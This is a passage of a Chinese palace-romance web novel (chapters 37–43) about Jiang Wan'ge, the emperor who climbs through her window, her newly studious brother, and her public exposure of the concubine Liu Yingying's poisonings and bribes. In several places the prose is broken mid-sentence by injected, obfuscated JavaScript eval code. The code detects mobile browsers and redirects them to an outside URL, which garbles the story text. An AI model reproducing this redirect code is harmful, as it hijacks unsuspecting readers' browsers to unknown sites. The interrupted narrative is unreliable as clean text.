是、是奴婢记错了。她声音突然变得又轻又快,小厨房还炖着安神汤,奴婢这就去看看火候...< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777427|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜绾歌倚在窗边,指尖还沾着杏仁酥的碎屑:去吧,今晚不必再过来了。 等脚步声远去,衣柜里传来一声轻笑:你这丫头倒是机灵。 姜绾歌头也不回地将剩下的杏仁酥扔向衣柜:皇上再不出来,这盘点心可都要凉了。 姜绾歌话音刚落,顾明轩就从衣柜里钻了出来,头顶滑稽地挂着她的胭脂色肚兜,肩上还搭着条水红色的绸裤。 姜绾歌双手抱胸:哟,陛下这是要把我的衣柜搬空?上次送军队,这次改送贴身衣物展览了? 顾明轩慢条斯理地取下肚兜:朕这是在检查,看那支玄甲军有没有保护好他们的主帅。他突然凑近,怎么,嫌弃朕送的军队不够威风? 威风过头了!姜绾歌一把抢回衣物,整整一支精锐天天在府外围着转,不知道的还以为我犯了什么王法呢。 那朕再派三百? 别!她瞪大眼睛,再这样下去,我出门买菜都得先过五关斩六将了! 顾明轩突然正色:淑妃的人最近在查玄甲军的调令....... 让他们查去,姜绾歌把玩着肚兜上的绣花,您不是早就给这支军队安了个"剿匪演练"的名头吗? 她眼珠一转,要不.......我让将士们真去剿几个土匪玩玩? 胡闹!顾明轩弹了下她额头,朕送你是为了保护你,不是让你去当山大王。 姜绾歌揉着额头撇嘴:那您说怎么办?总不能让他们整天在府里斗蛐蛐吧? 这样,顾明轩眼中闪过狡黠,明日朕送些话本来,你挑些精彩的让将士们排演成戏。他压低声音,就排那出《俏寡妇智斗纨绔子》....... 顾明轩!姜绾歌抄起绣枕就砸,您这是要我的军队改行当戏班子? 顾明轩接住绣枕大笑:总比当山大王强!说着翻身出窗,熟悉的咚声准时响起。 姜绾歌扒着窗沿,看见顾明轩一瘸一拐还不忘回头冲她抛媚眼:“百因必有果,你的报应就是我。” 第38章 用功的弟弟 绿竹提着裙角小跑进来,脸颊红扑扑的:王妃!小少爷他..…. 姜绾歌正倚在软榻上翻看话本,闻言懒懒抬眼:又闯祸了?指尖无意识地卷着帕子边角。 才不是呢!绿竹急得跺脚,小少爷这几日天不亮就去学堂,散学回来还..…. 等等。姜绾歌突然坐直身子,话本滑落在地,你说谁?姜小淘?她眉头皱得能夹死蚊子,该不会是发热烧糊涂了? 绿竹噗嗤笑出声:千真万确!厨房刘妈说,小少爷连最爱的蜜饯都不碰了,说是怕粘牙耽误背书。 姜绾歌猛地一拍大腿,惊得绿竹往后跳了半步。她眯起眼冷笑:好个小崽子,装模作样学起乖来了?准是憋着什么坏主意!指尖啪地弹开折扇,走,回尚书府看看,指不定他盯上了什么宝贝当"勤学苦读"的犒赏! 绿竹跟着风风火火的主子往尚书府奔,气喘吁吁道:可小少爷真没要零嘴.….. 这才可疑!姜绾歌突然刹住脚,折扇敲在掌心发出脆响,上次他把后院池塘抽干捉鱼,事前也是装成听话的模样!这次说不定是想骗我给他买...…” 话音刚落,几人就来到了姜小淘的书房。 姜绾歌在门口就看见姜小淘正端坐在书桌前,认真地写字,桌上摊开着一本《论语》。阳光透过窗户,洒在他专注的脸庞上。 绿竹轻手轻脚地走进来,一边熟练地泡茶,一边压低声音说:“听府上的丫鬟讲,小少爷最近可拼了,总熬夜,昨天还把算盘都打坏了。” 姜绾歌微微点头,示意绿竹别出声。姜小淘浑然不觉姐姐的到来,嘴里念念有词地背着书。背完后,又开始小声念叨着:“三七二十一,四七二十八……”那认真的模样,让姜绾歌心中泛起一丝暖意。 姜绾歌就这样静静地陪着弟弟,直到姜小淘写完最后一个字,抬头伸懒腰时,才猛地发现姐姐就站在身后。他眼睛顿时亮得像星星,兴奋地跳起来,跑到姜绾歌面前炫耀:“姐姐,你看,我最近是不是很用功?” 姜绾歌微笑着摸了摸他的头,关切地问候:“淘淘,最近读书累不累呀?”说着,她走近书桌,拿起那本《论语》。这才发现,弟弟竟然在书的空白处,用自创的“糖葫芦计算法”解账本。只见上面画着一串串糖葫芦,旁边写着算式,比如“三串糖葫芦加五串等于八串”。她又仔细翻看了几页,发现弟弟算得居然比账房先生还快。 姜绾歌灵机一动,故意从管家那里拿来府里的账本考他。姜小淘接过账本,咬着笔头,眼睛紧紧盯着账本上密密麻麻的数字。不一会儿,他便兴奋地指着账本,大声说道:“姐姐,这里有一处算错了,还有这里,这里也不对!”姜绾歌对照着重新核算,发现弟弟竟然真的找出了三处错账。一旁的丫鬟惊讶得眼睛瞪得老大,忍不住赞叹:“小少爷这是神算啊!” 这时,姜小淘凑近姜绾歌,“姐,那天你说的话还算数吗?” 姜绾歌一脸的疑问:“什么话?” 姜小淘一脸正色的说,“姐,那天你回府带我出去玩,说只要我考试及格你就送我一个神奇发簪。” 姜绾歌先是一愣,随即恍然大悟,想起那日为哄姜小淘好好读书随口许下的承诺。看着弟弟满是期待的眼神,她不禁笑了,伸手刮了刮姜小淘的鼻子:“当然算数,姐姐什么时候骗过你?” 姜小淘兴奋得原地蹦了起来:“耶!我就知道姐姐最好了!” 姜绾歌宠溺地看着他:“不过,淘淘,你这次怎么突然这么用功呀?” 姜小淘小脸一红,眼神却透着坚定,认真地说:“姐,我看到你在靖王府受委屈,心里可难受了。我就想,等我变得厉害了,就能保护你了,也可以让姐姐早日离开那个渣男。然后姐姐就能去找到自己喜欢的人,开开心心过日子。” 姜绾歌心里虽感动,但面上还是故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777428|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作嫌弃地揉了揉姜小淘的头:“哟,小嘴跟抹了蜜似的。行,姐姐等着看你出息。不过你可别光嘴上说,得一直保持。” 姜小淘拍着胸脯保证:“姐,你就放一百个心!我肯定说到做到!” 姜绾歌笑着点点头,又指了指账本:“就冲你今天这本事,看来平日里没少偷偷练。不过光会算账可不行,夫子教的课业也得好好学。” 姜小淘连忙应道:“知道啦姐,我最近夫子布置的作业都有认真完成,不信你去问夫子!” “行,等姐姐有空就去问。要是夫子夸你,姐再给你买糖吃。”姜绾歌扬了扬下巴,一副“姐很大方”的模样。 “好嘞!姐你就瞧好吧!”姜小淘眼中满是憧憬,仿佛已经看到自己考试及格,带着姐姐远离渣男。 姜小淘眼睛滴溜溜一转,一脸八卦地凑近姜绾歌,笑嘻嘻地问:“姐,上次你出门,跟你在一起的那个男的是谁呀?看起来对你可好啦,他怎么样?” 姜绾歌微微一怔,脸上浮现出一抹不自然,轻敲了一下姜小淘的脑袋:“小孩子打听这些做什么?” 姜小淘却不依不饶,拉着姜绾歌的胳膊撒娇:“姐,你就告诉我嘛,我这不是关心你嘛。他是不是能让你开心,是不是能保护你呀?” 姜绾歌翻了个白眼,没好气地说:“你这小鬼头,净操心些有的没的。他不过是个偶尔能搭把手的人,别在这瞎琢磨。” 姜小淘不服气地嘟起嘴:“我看他对你可不一般,姐,你就别瞒着我了。要是他能对你好,以后我也能放心呀。” 姜绾歌双手抱胸,挑眉道:“放心?你姐我还用不着别人可怜兮兮地来照顾。就算没他,姐也能把日子过得风生水起。不过就偶尔一起办点事,你可别给我胡思乱想,传出去让人笑话。” 姜小淘撇撇嘴:“姐,你就是嘴硬。我知道你厉害,但有人能陪你一起,不是更好嘛。” 第39章 培养账房先生 姜绾歌弹了下姜小淘的脑门:“行了行了,你管好你自己。等你哪天考个第一名回来,姐再跟你讨论这些有的没的。” 姜小淘捂着脑门,连忙点头:“行,姐,你就等着瞧,我肯定能考第一名!到时候你可不许耍赖。” 姜绾歌摆摆手:“去去去,看书去,别在这打扰我。”看着姜小淘乖乖坐回书桌前,姜绾歌嘴角微微上扬。 第二天,阳光正好,姜绾歌一袭素雅长裙,迈着轻快的步伐踏入书院。书院中弥漫着淡淡的墨香,朗朗书声不绝于耳。她径直走向夫子的居所,心中满是对弟弟姜小淘学习情况的关切。 见到夫子,姜绾歌微微欠身,礼貌地说道:“夫子,近日事务繁忙,一直没能好好了解淘淘的学业,不知他近来表现如何?” 夫子抬起头,脸上立刻浮现出欣慰的笑容,眼中满是赞许之色:“靖王妃,小公子最近的变化可真是令人刮目相看呐!”夫子一边说着,一边伸手轻轻捋了捋胡须。 “从前,小公子上课时常走神,可最近,那是全神贯注,眼睛紧紧盯着黑板,老师讲的每一个字都听得仔仔细细,还不时主动举手发言,见解独到,常常能给课堂带来新的思路。” 说着,夫子转身从书案上拿起一本作业,递给姜绾歌:“您瞧瞧,这是小公子最近的作业,字迹工整了许多,笔画之间透着一股认真劲儿。每一个字都写得规规矩矩,一笔一划都彰显着他的用心,再也没有从前那种****躁躁的感觉了。而且,作业完成得十分出色,正确率极高,遇到难题也不再轻易放弃,会自己钻研许久,实在不会才来问我。” 姜绾歌接过作业,细细翻看,只见原本歪歪扭扭的字体变得工整秀丽,字里行间都能感受到姜小淘的努力与认真。 她的嘴角不禁微微上扬,眼中满是欣慰:“看来这孩子真的长大了,知道努力了。多谢夫子悉心教导,淘淘能有这样的进步,多亏了夫子的栽培。” 夫子笑着摆摆手:“小公子本就聪慧,从前只是心思没放在学业上。如今这般努力,将来必成大器。” 姜绾歌看着作业,越想越觉得姜小淘在算术上是块好料子。 脑海里不禁浮现出醉仙楼那一堆堆账本,要是能把姜小淘培养成账房先生,让他去管醉仙楼的账本,那可就省心多了。 这小子,脑袋瓜灵活,说不定能把醉仙楼的账目管得明明白白,以后自己也能少操些心,多腾些功夫去料理其他事儿。 姜绾歌从书院回来,夜幕已悄无声息地笼罩了王府。 她迈进房门,屋内烛火摇曳,将她的影子在墙上拉得老长。 刚坐下,正想着弟弟的事,窗外“簌簌”轻响。 姜绾歌抬眼,就见一个黑影翻窗而入,动作敏捷得像只猫。 不用看,她也知道是顾明轩这家伙。“啧,堂堂皇上,又走这旁门左道,你就不怕摔着?”姜绾歌嘴上不饶人,可眼神里却没什么责备的意思。 顾明轩落地,拍拍身上不存在的灰,一脸得意:“正门守卫森严,哪有这般来得快,还能给你个惊喜。”说着,几步就到了姜绾歌跟前。 “惊喜?我看是惊出一身冷汗。”姜绾歌别过脸,可嘴角那点笑意却藏不住。 顾明轩哪肯罢休,伸出手,轻轻捏住她的下巴,稍稍用力,让她转过来:“瞧瞧,嘴硬得像蚌壳,心里指不定多欢喜呢。” 姜绾歌脸一热,拍开他的手:“拿开你的爪子,没个正经样。”话虽凶巴巴,可那手劲儿,软绵绵的,没什么威慑力。 顾明轩顺势握住她的手,手指在她掌心挠了挠,“今天回尚书府,家里啥事呀?” 姜绾歌挣了两下,没挣脱,也就随他去了,“还不是我那弟弟,突然转了性子,勤奋得不像话,我能不去看看?” “哦?”顾明轩挑挑眉,嘴角噙着笑,“看来王妃教导有方,弟弟如此上进,将来定能出人头地。”说着,他的手指顺着她的手背,轻轻摩 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姜绾歌原本还懒洋洋地靠在顾明轩怀里,一下子就推开他,坐得笔直,眼睛一瞪:“有件事我一直想问你,为何我父亲迟迟没有回京?你到底派他去做什么了?” 顾明轩被她推得愣了下,收起笑容,一脸严肃:“绾绾,这事儿可不是小事,也特别机密。我派你父亲去边疆,查一桩通敌的案子。” 姜绾歌一听,眼睛立马瞪大,不屑地哼了声:“通敌?怪不得把我父亲派到那么远那么危险的地方。边疆乱成啥样你又不是不知道,你就不怕我父亲出事?你到底怎么想的?” 顾明轩赶紧拉住她的手,着急解释:“你也清楚你父亲那本事,这事儿除了他,别人我真信不过。最近边疆守将调来调去的,粮草供应也乱七八糟,我怀疑有人跟外敌勾结,想挑起战争捞好处。要是不查清楚,边疆老百姓可就惨了,国家也得跟着遭殃。” 第40章 到底谁背叛谁 姜绾歌一下子把手抽出来,白了他一眼:“少跟我来这套大道理,我父亲都去那么久了,一点消息都没有,我能不着急吗?你到底有没有安排人保护他?” 顾明轩又伸手抓住她的手,紧紧握着:“我哪能不安排啊,早就派了厉害的暗卫保护你爹。但这事儿得保密,不能随便联系。只要有消息,我肯定第一时间告诉你。” 姜绾歌哼了一声,扭头不看他:“最好是这样。你是皇上,要操心国家大事我懂,但我父亲对我多重要你也清楚。要是他出点啥事,我跟你没完。” 顾明轩听着姜绾歌句句关切父亲,心里不禁泛起酸意。他松开姜绾歌的手,微微侧身,神色虽平淡,可语气里却藏着一丝不易察觉的醋意:“瞧你这般在意令尊,在你心中,朕怕是没什么分量了。” 姜绾歌一愣,没想到他突然来这么一句,哭笑不得道:“皇上,我爹在边疆涉险,我这做女儿的能不担心吗?您怎么还吃起醋来了。” 顾明轩轻咳一声,别过头去:“朕不过随口一说,你倒紧张起来了。朕自然明白你担忧父亲乃人之常情,只是……只是见你一心牵挂他,心里难免有些不是滋味。” 姜绾歌无奈地笑了笑,重新坐回他身边,轻轻拉住他的手:“皇上,您呀,就别瞎想了。我对父亲是为人子女的担忧,对您……自然也是有着别样的情谊。只是这情况特殊,还望皇上莫要介意。” 顾明轩微微挑眉,斜睨她一眼:“哼,但愿如此。你既这般说,朕便信你一回。只是日后,你也得多分些心思在朕身上。” 姜绾歌点头应道:“行了,小气包。那您也得保证,一定要确保我爹平安无事,等边疆的事一了,就尽快让他回来。” 顾明轩轻轻捏了捏她的脸颊:“知道啦,朕答应你的事,何时食言过?天色不早,朕该回去了,你早些休息。” 说罢,在她额头落下一吻,这才恋恋不舍地转身离去。 姜绾歌望着他渐行渐远,直至消失在夜色中的背影,轻轻叹了口气。 屋内烛火摇曳,姜绾歌想起原主与父亲相处的往昔。 记忆里,父亲总是慈爱且威严。 小时候,她在花园玩耍,不慎被石头绊倒,膝盖擦破一大块皮,疼得眼泪在眼眶里打转。 父亲听闻赶来,心疼地将她小心抱起,一路疾奔向郎中处,那焦急的神情,仿佛受伤的是自己。 稍大些,她对琴棋书画展现出浓厚兴趣,父亲不惜耗费心力,遍访城中名师,只为给她寻来最好的夫子教导。 每至生辰,无论政务多么繁忙,父亲定会精心准备她心仪的礼物,陪伴她度过欢乐时光。 可如今,父亲为了皇上交付的重任,深入危机四伏的边疆,至今音信全无。 姜绾歌想到此处,心中一阵揪痛,对父亲的担忧如潮水般蔓延开来。 就在这时,一阵轻微的异动打破寂静。 姜绾歌警觉抬眼,透过窗户,瞥见一个黑影鬼鬼祟祟溜进院子。 她心中一紧,这王府守备森严,怎会出现这般形迹可疑之人? 姜绾歌不动声色,悄然从系统空间取出**。 这**小巧玲珑,能精准定位目标,且运行时悄无声息。 她借着夜色掩护,轻手轻脚靠近黑影,瞅准时机,将**稳稳贴在对方衣摆后。 看着黑影匆匆朝柳盈盈的住处潜行,姜绾歌眉头紧皱,心中疑云密布:这人与柳盈盈究竟有何不可告人的勾当? 回到房中,姜绾歌坐在桌前,紧盯着**信号屏。 没过多久,**传来消息,黑影已至柳盈盈居所,正低声汇报:“柳侧妃,今晚瞧见王妃深夜密会神秘男人,二人在房内举止亲昵,不知说了什么。” 姜绾歌气得猛地一拍桌子,桌上茶杯都跟着震颤。 好个柳盈盈,竟敢收买她院子里的下人来监视!自打进王府,这柳盈盈就小动作不断,整日一门心思争宠,各种阴招频出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她猛地站起身,一把揪住下人的衣领,怒喝道:“你说什么胡话?到底怎么回事?你是不是收了王妃什么好处,敢来糊弄我?” 那下人被她这一吓,更是惊慌失措,双腿发软直接瘫倒在地,嘴里依旧嘟囔着:“我真没说谎,是我自己看错了……” 柳盈盈气得一脚踢开下人,在房内来回踱步,心中既恼怒又困惑,不知这到底是下人办事不力,还是她已背叛自己倒向了王妃。 第41章 诗会 柳盈盈的指甲深深掐进掌心,在白皙的皮肤上留下四道月牙形的红痕。 她像只困兽般在闺房里来回踱步,绣花鞋踩在青砖地上发出急促的嗒嗒声,震得案几上的茶盏微微颤动。 废物!都是废物!她突然抓起一个青瓷花瓶砸向跪在地上的丫鬟。 花瓶在丫鬟额角炸开,鲜血混着茶水顺着她惨白的脸颊滑下。 姜绾歌此时正倚在软榻上,指尖把玩着一枚珍珠大小的金属圆球。 这是她从系统空间拿的耳语珠,只要在百米之内,就能将声音清晰传递。 第一步成了。她唇角勾起一抹冷笑,眼中却无半分喜色。 次日清晨,露珠还在花瓣上打滚时,姜绾歌已经带着贴身丫鬟偶然路过花园凉亭。 她假装整理裙摆,顺手将一枚耳语珠塞进了亭柱的雕花缝隙里。 两日后,姜绾歌正在梳妆,耳畔突然传来柳盈盈刻意压低的声音:..….那件事绝对不能说出去!当年给周姨娘下药时,厨房的王婆子可是收了咱们二十两银子..…. 铜镜里,姜绾歌的眼睛倏地亮了起来。 她放下玉梳,指尖在妆台上轻轻敲击,像在计算着什么。 青柠。她唤来心腹丫鬟,去打听打听,三年前厨房是不是有个姓王的婆子,后来突然赎身出府了。 青柠回来时带了一身夜露的气息。 小姐,那王婆子现在西城开了间豆腐铺,儿子去年中了秀才,最是爱惜名声。 姜绾歌笑了。她取出一封信和一小包银子:把这个送去。告诉她,要么拿着银子作证,要么...… 她捻起桌上那份伪造的欠契,让她儿子在秀才名册上除名。 与此同时,柳盈盈在镜前试新衣服。 绣着并蒂莲的锦缎滑过肩头时,右眼皮突然不受控地狂跳。 她忽然指尖一颤,银簪险些掉在地上。 秋菊,她厉声唤来丫鬟,这几日可有人去过西城? 秋菊跪在地上瑟瑟发抖:奴婢、奴婢不知... 啪!一记耳光甩在她脸上。没用的东西!去给我查!这几日谁接触过厨房旧人,一个都不许漏! 夜色渐深,姜绾歌站在窗前,耳语珠里传来柳盈盈歇斯底里的咒骂声和瓷器碎裂的声响。 她轻轻摩挲着手中那份新鲜出炉的证词,上面还按着王婆子颤抖的手印。 柳盈盈,她对着月光轻语,你以为砸几个花瓶就能解决问题?好戏才刚开始呢。 窗外,一片乌云正缓缓遮住月亮,在庭院里投下浓重的暗影。 姜绾歌斜倚在窗边,指尖轻轻拨弄着一枝新折的海棠。 花瓣嫣红,衬得她指甲上的丹蔻愈发艳丽。她垂眸轻笑,对身旁的绿竹道:去,把诗会的帖子送到各院,尤其是柳姨娘那儿——务必要让她觉得,我姜绾歌是个被污蔑了还不知反击的蠢货。 绿竹抿嘴一笑:小姐放心,奴婢一定把戏做足。 次日午后,柳姨娘斜倚雕花榻,捏着烫金诗会帖子冷笑。 珊瑚手串撞出脆响:姜绾歌真是蠢货,脏水泼身还办赏诗会? 她将帖子甩在妆奁上,胭脂盒扬起细雾,靠清高就能洗白?也不看看我当年怎么...... 丫鬟秋菊忙递上酸梅汤:“姨娘何必动气,没娘的丫头能折腾出什么——” 柳姨娘慢条斯理转动着珊瑚手串,指尖在烫金帖子上划出刺耳声响,“就像猫爪子挠门,听着心烦罢了。” 她漫不经心地将帖子抛进妆奁,扫了眼胭脂盒散落的玫瑰粉,“当年我收拾那些自以为聪明的,不过是顺手掸灰。姜绾歌这点手段,连入门都算不上。” 说罢端起茶盏轻抿,茶盖刮着杯沿的声音,透着十足的轻蔑。 柳姨娘指尖叩了叩妆奁,珊瑚珠串在日光下泛着冷光:秋菊。 垂手侍立的秋菊立刻趋前半步,她眼尾微挑,将诗会帖子往妆台上一推:去前街米铺、后巷茶寮,寻几个多嘴的碎嘴婆。 丹蔻划过帖子烫金纹路,声音甜腻里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777431|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裹着冰碴,就说姜绾歌被脏水泼了还办诗会,蠢得连脸都不要了。把这话传得越广越好,最好让街头巷尾的乞丐都知道…… 她忽然轻笑一声,端起茶盏轻抿,茶盖刮着杯沿发出刺耳声响:让全京城都看笑话,这姜家嫡女,就是个空有皮囊的草包。 三日后,诗会。 清风拂过庭前的梨花,雪白的花瓣纷纷扬扬,落在女眷们的裙裾间。 姜绾歌一袭月白色罗裙,发间只簪一支素银步摇,笑意温婉地招呼众人入席。 她亲自为柳盈盈斟茶,指尖不着痕迹地在杯沿一抹。 柳妹妹近日气色倒好。姜绾歌柔声道,今日诗会,可要一展才情。 柳盈盈红唇微勾,眼中闪过一丝轻蔑。 她今日特意穿了艳丽的玫红色襦裙,金线绣的牡丹在阳光下熠熠生辉,像是要把姜绾歌那素淡的装扮比下去。 姐姐设宴,妹妹自然要捧场。她抿了口茶,语气甜得发腻。 诗会过半,众人吟诗作对,气氛融洽。姜绾歌忽然轻叹一声,指尖摩挲着茶盏边缘,幽幽道:今日诸位姐妹都在,我倒是想讨个公道。 满座倏然一静。 礼部主事之女林婉宁下意识捏紧团扇,悄声对身旁的赵家二小姐赵芸姝道:这还敢出头?我前日在绸缎庄,听得几个婆子说她是草包,被人泼了脏水都不敢吭声。 赵芸姝用帕子掩着嘴,目光惊疑不定:可不是!西市茶馆里都传开了,说她空有嫡女名头,连自证清白都不会。 两人话音未落,席间窃窃私语如潮水翻涌,无数道探究又轻蔑的目光,毒蛇般缠上姜绾歌素白的裙裾。 柳盈盈听到旁人的对话,团扇下的嘴角一勾,马上又换副表情,娇笑起来:姐姐这是怎么了?莫非还在为前两日那些无稽流言烦心? 她眼波流转,意有所指,清者自清,姐姐何必在意? 姜绾歌抬眸,目光如刀。 清者自清?她轻笑一声,忽然从袖中抽出一封信,当众展开。 第42章 表兄的亲笔信 这两日的流言对于我来说无关痛痒。我只不明白这封柳妹妹亲笔所写、收买我院中丫鬟监视我的密信,又当如何解释? 满座哗然。 柳盈盈的手指突然痉挛般攥紧了团扇,骨节发白。 她先是轻蔑地扫了眼那封信,红唇勾起一抹讥诮的弧度:姐姐这是从哪里寻来的戏本子?倒是编得... 话音戛然而止——她突然认出了信纸上那枚朱砂印,正是她私下用的梅花小印。 她的睫毛急促颤动了几下,像被蛛网黏住的蝶。喉头滚动着咽下一口唾沫,茶水的苦涩突然在舌尖漫开。 这印鉴...她强撑着冷笑,声音却泄出一丝颤音,定是有人偷了我的... 姜绾歌忽然将信纸翻面,露出背面一道细微的折痕:妹妹每次写信,总爱在左下角折个三角,说是防人调换。这习惯...…府里可没几人知道。 柳盈盈的耳尖唰地红了。她感到有冷汗顺着脊背往下爬,在锦衣上洇出冰凉的痕迹。 胸口剧烈起伏着,金丝牡丹刺绣随着呼吸扭曲变形。 荒唐!她猛地拍案而起,案几上的茶盏被震得叮当作响,单凭这些...… 还有这个。姜绾歌从袖中抽出一张泛黄的纸,抖开的瞬间飘出淡淡的药香。 柳盈盈的瞳孔骤然紧缩。 她认得那张药方——一年前她亲手交给王婆子的,上面还留着她的指甲划出的暗记。 她的双腿突然发软,绣鞋在青砖地上蹭出吱的一声轻响。 不可能...…她摇着头,珠钗流苏疯狂摆动,在脸颊上抽打出一道红痕,那老婆子明明发誓要带进棺材..…. 话音未落,她突然意识到自己说了什么,涂着蔻丹的指甲猛地掐进掌心。 满座哗然中,她听见自己剧烈的心跳声,像有柄锤子在太阳穴上敲打。 眼前闪过王婆子跪在地上赌咒发誓的模样,那老婆子当时还磕破了额头...… 你诈我!她突然尖声嘶吼,声音扭曲得不似人声。锦缎衣袖扫过案几,整套雨过天青瓷茶具轰然坠地。 碎瓷飞溅中,她看到姜绾歌唇角转瞬即逝的笑意,终于明白——那根本不是什么诗会请帖,而是早就织好的蛛网。 话一出口,她猛然意识到失言,慌忙捂住嘴。但已经晚了。 满座女眷纷纷倒抽一口冷气 这、这是......林婉宁手中的团扇啪嗒落地,前日还传姜姑娘是草包,难道那些谣言...... 话未说完,赵芸姝已攥住她手腕:快看柳姨娘的脸色!她额角都在冒汗! 赵芸姝猛地站起,打翻身后矮凳:王婆子上个月暴毙,原来不是意外?! 姜绾歌却似早有预料,指尖轻转药方露出断指指印。 天啊!不知谁的惊呼混着瓷器碎裂声。 这分明是王婆子的指痕! 原来姜姑娘早有准备! 柳姨娘这下完了! 几位曾被柳盈盈针对过的侍妾更是怒目而视。 姜绾歌缓步上前,声音轻柔却字字诛心:柳盈盈,你买通下人构陷主母,毒害姐妹,如今证据确凿,还有何话说? 柳盈盈的耳中嗡嗡作响,仿佛有千万只蜜蜂在颅腔内振翅。 她看着地上碎裂的瓷片,突然咯咯笑了起来,笑声像是从很远的地方传来。 姐姐好手段啊。她慢慢直起身子,金线牡丹的裙裾在碎瓷片上拖曳,发出令人牙酸的摩擦声。 先是用**据诈我失言..….她突然抓起案几上另一只完好的茶盏,在众人惊呼声中狠狠砸向地面,现在又要用这些**奴才的供词定我的罪? 飞溅的瓷片擦过姜绾歌的裙角,她却连睫毛都没颤一下。只是轻轻抬手,青柠立刻捧上一个紫檀木匣。 妹妹说这是**据?姜绾歌从匣中取出一支鎏金簪子,簪头梅花的花蕊里嵌着米粒大的珍珠,那这支你送给王婆子的簪子——内侧还刻着你的闺名"盈"字,又当如何解释? 柳盈盈的呼吸突然停滞。那是她及笄时父亲特意打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777432|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造的。 还有这个。姜绾歌又取出一本账册,每月初五,你院里都会支取二十两雪花银——恰好是王婆子儿子在书院的花销数目。 她突然逼近一步,沉香木的气息混着冷意扑面而来,需要我派人去书院找那位"勤学上进"的秀才公子对质么? 柳盈盈踉跄后退,后腰撞上亭柱。 她感到有温热的液体顺着小腿往下流——不知何时,碎瓷已经划破了她的绣鞋。 血迹在青砖地上洇开,像极了那年周姨娘呕在她裙摆上的药汁。 你以为...姜绾歌的声音像淬了冰的刀锋,在柳盈盈耳畔细细研磨,买通几个下人,毒死几个妾室,就能在这府里一手遮天? 柳盈盈的瞳孔骤然紧缩,涂着蔻丹的指甲深深掐进掌心。她突然嗤笑一声,扬起下巴:姐姐这话说得奇怪,我何曾.….. 话音未落,姜绾歌广袖一甩,一卷账册啪地砸在案几上。账册自动摊开,露出密密麻麻的朱批标记。 上月初八,支取纹银五百两,记为修缮东厢房。姜绾歌指尖轻点其中一行,可东厢房的瓦片至今未换。 柳盈盈的呼吸渐渐急促,胸前的金丝璎珞随着剧烈起伏。 她突然伸手要撕账册,却被姜绾歌一把扣住手腕。 急什么?姜绾歌轻笑,从袖中取出一张当票,这枚翡翠扳指,可是当在了城西赵记当铺?当日掌柜的还奇怪,怎么王府的物件要鬼鬼祟祟地典当... 柳盈盈的脸色唰地白了。那是她上月偷偷当掉给表兄还赌债的,怎会... 更妙的是,姜绾歌又取出一叠书信,在柳盈盈眼前晃了晃,你表兄赵四在醉仙楼**后,第二日就有人看见他揣着银票从赌坊出来。 她抽出最上面那封信,而这封信里,你可是亲口承诺替他还清赌债呢。 柳盈盈浑身发抖,精心梳好的发髻散落几缕青丝,黏在冷汗涔涔的额角。 她突然想起昨日表兄那得意洋洋的模样,心中一阵发寒——居然留着她的亲笔信! 第43章 对峙 姜绾歌将书信递给身旁的嬷嬷,声音清冷:去查查,这些银两是从哪个账上支的。 她转向柳盈盈,眼中寒光凛冽:妹妹这么大方,想必不会介意对一对账吧? 柳盈盈双腿一软,踉跄后退时撞翻了香炉。 香炉倾翻的烟灰尚未落尽,一阵熟悉的沉水香已漫入厅中。 王爷踏着满地碎玉进来,玄色**纹常服下摆扫过门槛,腰间羊脂玉佩随着步伐轻晃。 王爷!柳盈盈的呜咽声陡然拔高,像断了弦的琵琶般凄厉。 她踉跄扑上前,却在离王爷两步时不慎踩到自己散落的披帛,整个人如折翼的蝶般跌在他脚边。 您要为妾身做主啊.…..她仰起脸,让恰到好处的泪珠悬在睫毛上,姐姐她.…..当众污蔑妾身... 王爷下意识弯腰,却在瞥见案几上摊开的账册时顿了顿。 这个细微的迟疑让柳盈盈心头一颤——从前她只要落泪,王爷早该亲手搀扶了。 